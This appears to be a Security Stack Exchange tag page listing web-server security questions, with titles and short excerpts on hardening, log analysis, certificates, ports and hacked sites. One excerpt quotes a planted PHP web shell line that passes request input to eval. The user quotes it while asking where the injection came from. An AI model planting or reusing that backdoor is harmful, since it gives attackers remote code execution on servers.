Questions tagged [webserver]

A system whose primary function is to deliver web pages on request to clients.

Filter by
Sorted by
Tagged with
-2
votes
1answer
128 views

How to know the vulnerabilities of my website? [closed]

My website had been hacked. Hackers were able to access my database and inject some script into my database, now although I have recovered my website but I want to protect my website from further ...
1
vote
3answers
165 views

Securing a Ubuntu web server on cloud for a web application

I am about to publish a python web application. The server is an Ubuntu remote machine hosted by 1&1. For now I start remotly the python server app with a console command. Concerning the ...
1
vote
3answers
2k views

How to chose a port to run an application on localhost? [closed]

I'm considering developing a web application for my own usage on desktop, running on localhost, automatically launched at startup. I'll need to chose a port to do so. What I'm uneasy about is the ...
0
votes
1answer
396 views

Potential added risks of using Docker in production servers

What are the added security risks of using a dockerized container to deploy a production server? Not interested in risks that would exist anyway in deploying a production server the traditional way,...
1
vote
7answers
1k views

How to protect unauthorized logins in case DB server gets compromised?

Generally what happens when an user registers to a web app is that their passwords get hashed well, so even if a DB leak happens, getting the original password is not feasible. But what happens if an ...
0
votes
2answers
3k views

Directory traversal in a URL?

Scenario: I have a webserver running nginx. I have my html files in /var/www/ and pictures in /var/www/pictures/ However, I also have some secret pictures in /var/www/pictures/secretpics/ which I ...
1
vote
1answer
5k views

How to store openssl CA private key securely [duplicate]

We are in the phase of implementing SSL certificates for UI access to our components (we have an internal Root CA to whom we send the CSR generated in openSSL) and we're wondering where would be the ...
1
vote
0answers
46 views

apache access log grew smaller [closed]

I used this command twice in the same day: grep'21/Aug/2017:'/var/log/apache2/access.log | awk '{print $1}' | sort - k2nr | uniq -c |wc -l and first time it returned a number bigger than the second ...
2
votes
3answers
6k views

Is it possible to list folder from my web server if i have an empty index.html in the root folder?

I have a small mongoose web server installed on my machine. I have a empty index.html in the root directory. I want to be able to share link with people i know, by creating a folder that look like ...
3
votes
0answers
355 views

Memory and CPU usage during a denial of service attack. How to understand the data?

The Debian crontab file that is a web server Apache has the line: */2 * * * * echo -e "`date`\n\n`free` \n\n`vmstat`\n" >> /home/hacker/free_vmstat_output.txt I ...
0
votes
1answer
162 views

Is Hamachi on a Linux production server a big system vulnerability?

The production server I am administrating can only be accessed through the company-network. However, if I have to do maintenance while not in the office, I can't access the server. Could I let ...
3
votes
2answers
281 views

Why do login forms still use 'name = “pass”' or similar?

Given that there are many password sniffing MitM scripts out there that comb traffic for key-phrases like "pass" and "password". Why do manufacturers keep the same variable names and make it easy for ...
1
vote
3answers
97 views

Security of a website - shared hosting

If I host my website in a shared hosting, then do i need to worry about how much secure other websites are which are hosted in the same server? My website developer is saying so and he is advising me ...
3
votes
2answers
1k views

Apart from uploaded files, how else can 777 permissions on website files/folders be exploited?

I have seen several instances of php websites being compromised due to permissions being set as 777 on the website folders. In these instances the cause was a foreign file uploaded by the attacker. ...
0
votes
3answers
389 views

How can I determine from where injected script came from?

I have a server that currently has been hacked. Files are being created on my server which has content of this type: if(isset($_REQUEST['oUS'])){/*PJEG*/eval($_REQUEST['oUS']);/*z*/exit;/*Lv*/} Or ...
0
votes
3answers
1k views

Is Open Port 25 on Web Server dangerous?

Port 25 of a web server is open. We dont have any email server, since we use google mail server, but still port 25 is open. Is it dangerous to keep it open? If it can be attacked then how it can be ...
29
votes
2answers
4k views

What are possible security problems of enabling HTTP2?

I want to enable HTTP2 for several web servers but I'm worried about the possible security implications. I think about something like: HTTP2 implementations are maybe more error prone than mature ...
4
votes
3answers
32k views

Scan all possible files on server (Brute force Filenames)

I'm looking for a tool which can scan all possible filename combinations on a server and tells you what filenames the server responded to. So it would try something like: example.com/a, example.com/b,...
0
votes
1answer
763 views

Alternatives to basic and digest authentication in HTTP when resources are constrained

I'm currently implementing a small webserver on an embedded platform which is quite resource-constrained. I am planning to use unsecured communication because TLS might not be possible in my embedded ...
6
votes
1answer
4k views

Apache - strange requests in logs

I'm running webserver on Debian8 64bit (2.6.32-042stab120.16) with Apache/2.4.10. Today in Apache access.log I found these entries: 164.52.7.132 - - [26/Jun/2017:07:16:23 -0400] "\x16\x03\x01\x01\"\...
1
vote
1answer
2k views

Pre-shared key authentication between webservers for some security

I have a front-end web server that's calling an API on another web server using GET requests (both hosted by me). It's not critical that outsiders cannot use the API, but I would like to make it ...
4
votes
3answers
232 views

Practically, when good password policies are used, how much is gained from SSH keys? [duplicate]

Background: I am running my own servers for personal use, I have complete control over all passwords used and for the foreseeable future things will stay this way. I understand the arguments for why ...
2
votes
1answer
670 views

How to encrypt sensitive user data and transport it between client and server securely?

I'll try to be as brief as straight to the point as possible, i'm new to this so please bare with me! I might be committing a massive mistake and not even realised! Please HELP! [facepalm emoji] ...
2
votes
0answers
91 views

How to securely manage generating files on the client-side to download

While searching for a way to convert an HTML table to .CSV file, I found there are 2 ways to generate files to download on the client side with JavaScript: using data URLs by generating the file on ...
2
votes
2answers
358 views

Does an unused ftp account pose a security risk?

I'm using BlueHost and have a few websites on my hosting. I decided to stop being lazy and start implementing some better security policies on my own part. Since FTP isn't secure, I changed to SFTP. ...
1
vote
6answers
2k views

Downloading a file from a server with a secret: in text or binary?

Suppose, a user can click a button on a website and downloads a file with a secret. Via ajax. Is it more secure if a server generates that file and sends it as 1) zip, tar or the like -- a binary ...
2
votes
1answer
524 views

Connection timeout error using HTTP Status Code Checkers on a website [closed]

PROBLEM When I use online tools to test www.bestbuy.com URL's, I get a timeout connection error. By online tools I mean HTTP Status Code Checkers or Redirection Checkers. EXPECTED BEHAVIOUR I ...
13
votes
3answers
4k views

Is “mini-httpd” a secure web server?

I'm using http://acme.com/software/mini_httpd/ for my embedded system. Is it as "secure" as more known web servers like Apache or lighttpd? Being a lesser known web server means that it's less likely ...
0
votes
4answers
155 views

Security risks other than those [closed]

I'm working on ASP.NET core MVC website, and I don't know if I'm missing any security risks that I need to watch out for (other than logical ones) Here is a list of what I've studied and what I've ...
2
votes
2answers
1k views

How important is the usage of open_basedir on a server with multiple different PHP websites?

On an apache webserver with multiple VirtualHosts running different PHP websites on different domains, how important is it to set open_basedir for each VirtualHost? Will it actually help to isolate ...
16
votes
6answers
28k views

How safe is it to install XAMPP on my home computer to test PHP code?

I want to test some PHP code and I figure the best way is to install XAMPP - but I'm nervous about installing server software on my home computer. Is it generally safe to install XAMPP (given that I ...
1
vote
2answers
204 views

Should I be concerned with fake accounts registered on my website?

I own a website ( Ostetso ) that is targeted at iOS app developers. We provide cloud services for developers who want to add a social network into their apps. On the website, users can download our ...
40
votes
2answers
9k views

Where to report malicious URLs, phishing, and malicious web sites?

I recently discovered that my web site was hacked: there was a hidden HTML div that's about selling shoes...! I googled the text in question and voila: thousands of sites have been hacked. Check this ...
1
vote
1answer
222 views

Running a local server inside a virtual machine disconnected from the Internet - is this secure?

This is a follow up to the question I asked yesterday. According to the only answer I got, running a local Apache server used for development while simultaneously being connected to a commercial ...
6
votes
2answers
1k views

Personally identifiable information in query parameter for Tomcat REST service

I have a REST API running in a Tomcat container that has an endpoint that takes a customer email address as a query parameter. It's something like this: /customers?email=foo@bar.com Customer email ...
2
votes
2answers
240 views

With SAP_ALL access rights, can someone run an executable on the SAP Netweaver ABAP server?

Given a demo system for a fair which is based on SAP Netweaver ABAP. Our application has a bug which cannot be fixed easily, at least not in time for the fair. The workaround is to give the users of ...
75
votes
6answers
10k views

Should I reject a CSR when the host emailed me the private key for SSL certificate request?

I just requested a CSR from my shared web hosting provider, to generate a certificate which I will send back to them to install. (The certificate itself is to be generated properly by an organisation ...
1
vote
1answer
63 views

Best practice / Risk Assessment payment websites

I have two websites which do both accept payments on a subdomain. The subdomain is an independent system from the main website. I have a question regarding the best practice to decide which of the ...
1
vote
1answer
380 views

Is only using one IP address version (IPv4/IPv6) an availability risk?

Most websites configure their domain name server records only with A records for the use in IPv4 networks only. Some websites have configured AAAA records as well for use in IPv6 networks, using both ...
76
votes
8answers
15k views

Is running “apt-get upgrade” every so often enough to keep a Web-server secure?

Assumptions: Normal LAMP Web-server running web app. (Eg. AWS EC2+Apache2+MySQL+Php7) Not directly targeted by some super-hacker or governmental organisation etc. Related to point above, no social ...
2
votes
1answer
225 views

Any known issues with ColdFusion 9 isNumeric check?

I'm probably just being paranoid again about security. The latest thing keeping me up at night is the checks that one of our websites uses. It runs ColdFusion 9 on windows environment and we check a ...
1
vote
0answers
21 views

How can I study/replicate multiple vulnerability types in a specific software?

I'm interested in studying the effects (crashes, signals sent, logs, etc.) of different types of exploited vulnerabilities (DoS, ROP, remote shells, etc.) in specific software (particularly webservers ...
1
vote
1answer
422 views

Can a WAF block or detect crafted html file and obfuscated PHP script/shell

What happened was, a friend's company is using dated dot net nuke framework. A html page with 'hacked by xxxx' was found uploaded onto the web server. Upon investigating, it is determined that a ...
3
votes
2answers
555 views

Should I publish IP addresses that try to brute force my private web server?

Ethically and legally, am I allowed to publish IP addresses that tried to brute force my LAMP server? It's a personal website/blog that gets brute forced a lot and I would like to publish them to my ...
2
votes
0answers
128 views

Developing hidden onion servers [closed]

I was wondering which language is best to build a .onion website (PHP, Python, ...). Which language is more secure and which frameworks are more secure? Is it a good idea to use CSS (Cascading Style ...
1
vote
3answers
326 views

How to defend against a CSRF from the same website?

All of the solutions (use of tokens, for example) I have seen so far detail how to prevent a CSRF from an external website i.e. prevent a CSRF from evil.com to victim.com. However, how would one ...
0
votes
2answers
983 views

Security scan with, or without, IP whitelisting in the firewall and isn't that introducing a weak point?

In case of an automated security scan is it more desirable to get the scanner IP addresses whitelisted in order to possibly find vulnerabilities behind the firewall, or to scan in front of/against the ...
2
votes
2answers
376 views

Best guide/reference/roadmap for server penetration testing [closed]

I have been assigned to pen test some servers and have been provided the IPs of the same. In my past I have worked on application security testing projects and am aware of OWASP 10, SANS 25 etc. but ...
5
votes
2answers
2k views

Retention periods for web logs

I work for an ASP that provides banking solutions Card Services Payments ACH Online Banking And others Back Story: Our company provides an "all in one" solution or parts thereof, we are constrained ...
0
votes
1answer
110 views

Show full path of a downloadable file

On the website of the company I am working for are files, which can be downloaded. On the page, where you can download that file, you can also see the full path on the server itself of the file, e.g. /...